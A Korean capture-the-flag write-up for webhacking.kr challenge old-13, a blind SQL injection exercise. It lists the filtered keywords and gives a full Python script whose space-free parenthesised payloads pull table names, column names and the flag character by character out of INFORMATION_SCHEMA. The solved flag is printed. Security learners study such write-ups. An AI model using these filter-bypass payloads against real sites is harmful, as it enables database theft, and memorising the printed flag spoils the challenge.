old-13 (1000)

첫 화면이다.

1이나 true 등 참값을 입력했을 때 아래와 같이 보여진다.

참이 아닌 값을 넣었을 때는 result가 0이 나오거나 아무 반응도 없다.

이를 통해 본 문제는 Blind SQL Injection과 관련된 문제라고 추측할 수 있다.

testinput 을 입력하고 제출하면 URL이 아래와 같다.

https://webhacking.kr/challenge/web-10/?no=testinput

URL의 no 에 ​몇 가지 값을 계속 대입해보니 아래와 같은 화면이 나타나며 필터링 되는 경우가 있었다.

필터링 되는 값들은 다음과 같다. (대소문자 구별 X)

  • {SPACE}

  • {TAB}

  • =

  • >

  • <

  • /

  • *

  • 0x

  • LIKE

  • ASCII

  • WHERE

  • GROUP

  • LIMIT

  • UNION

필터링을 피해 파이썬으로 코드를 짜면 아래와 같다.

import urllib.request

URL = 'https://webhacking.kr/challenge/web-10/?no='
TRUE_PHRASE = '<td>1</td>'


def query(payload):
    req = urllib.request.Request(URL + payload)
    r = urllib.request.urlopen(req)
    content = r.read().decode('utf-8')
    return TRUE_PHRASE in content


# 13
def find_table_name_length():
    table_name_len = 1
    while query('LENGTH((SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))FROM(INFORMATION_SCHEMA.TABLES)))IN({})'.format(table_name_len)) is False:
        table_name_len += 1
    print('table_name_len: {}'.format(table_name_len))
    return table_name_len


# flag_ab733768
def find_table_name():
    table_name_len = find_table_name_length()
    table_name = ''
    for pos in range(1, table_name_len + 1):
        for character in range(0, 128):
            if query('ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))FROM(INFORMATION_SCHEMA.TABLES)),{},1))IN({})'.format(pos, character)) is True:
                table_name += chr(character)
                break
    print('table_name: {}'.format(table_name))
    return table_name


# 13
def find_column_name_length(table_name):
    table_name = ''.join(f'{ord(i):08b}' for i in table_name)
    column_name_len = 1
    while query('LENGTH((SELECT(MIN(IF((SELECT(TABLE_NAME)IN(0b{})),COLUMN_NAME,NULL)))FROM(INFORMATION_SCHEMA.COLUMNS)))IN({})'.format(table_name, column_name_len)) is False:
        column_name_len += 1
    print('column_name_len: {}'.format(column_name_len))
    return column_name_len


# flag_3a55b31d
def find_column_name(table_name):
    column_name_len = find_column_name_length(table_name)
    table_name = ''.join(f'{ord(i):08b}' for i in table_name)
    column_name = ''
    for pos in range(1, column_name_len + 1):
        for character in range(0, 128):
            if query('ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_NAME)IN(0b{})),COLUMN_NAME,NULL)))FROM(INFORMATION_SCHEMA.COLUMNS)),{},1))IN({})'.format(table_name, pos, character)) is True:
                column_name += chr(character)
                break
    print('column_name: {}'.format(column_name))
    return column_name


# 27
def find_flag_length(column_name, table_name):
    flag_len = 1
    while query('LENGTH((SELECT(MAX({}))FROM({})))IN({})'.format(column_name, table_name, flag_len)) is False:
        flag_len += 1
    print('flag_len: {}'.format(flag_len))
    return flag_len


# FLAG{challenge13gummyclear}
def find_flag():
    table_name = find_table_name()
    column_name = find_column_name(table_name)
    flag_len = find_flag_length(column_name, table_name)
    flag = ''
    for pos in range(1, flag_len + 1):
        for character in range(0, 128):
            if query('ORD(SUBSTR((SELECT(MAX({}))FROM({})),{},1))IN({})'.format(column_name, table_name, pos, character)) is True:
                flag += chr(character)
                break
    print('flag: {}'.format(flag))


find_flag()

쿼리에 MINMAX 를 적절히 넣어가며 값을 확인해 최종 실행결과가 맞게 나오는 조건을 찾았다.

최종 실행결과는 FLAG{challenge13gummyclear} 이고, 이를 폼에 넣고 Auth 버튼을 클릭하면 문제가 풀린다.

Last updated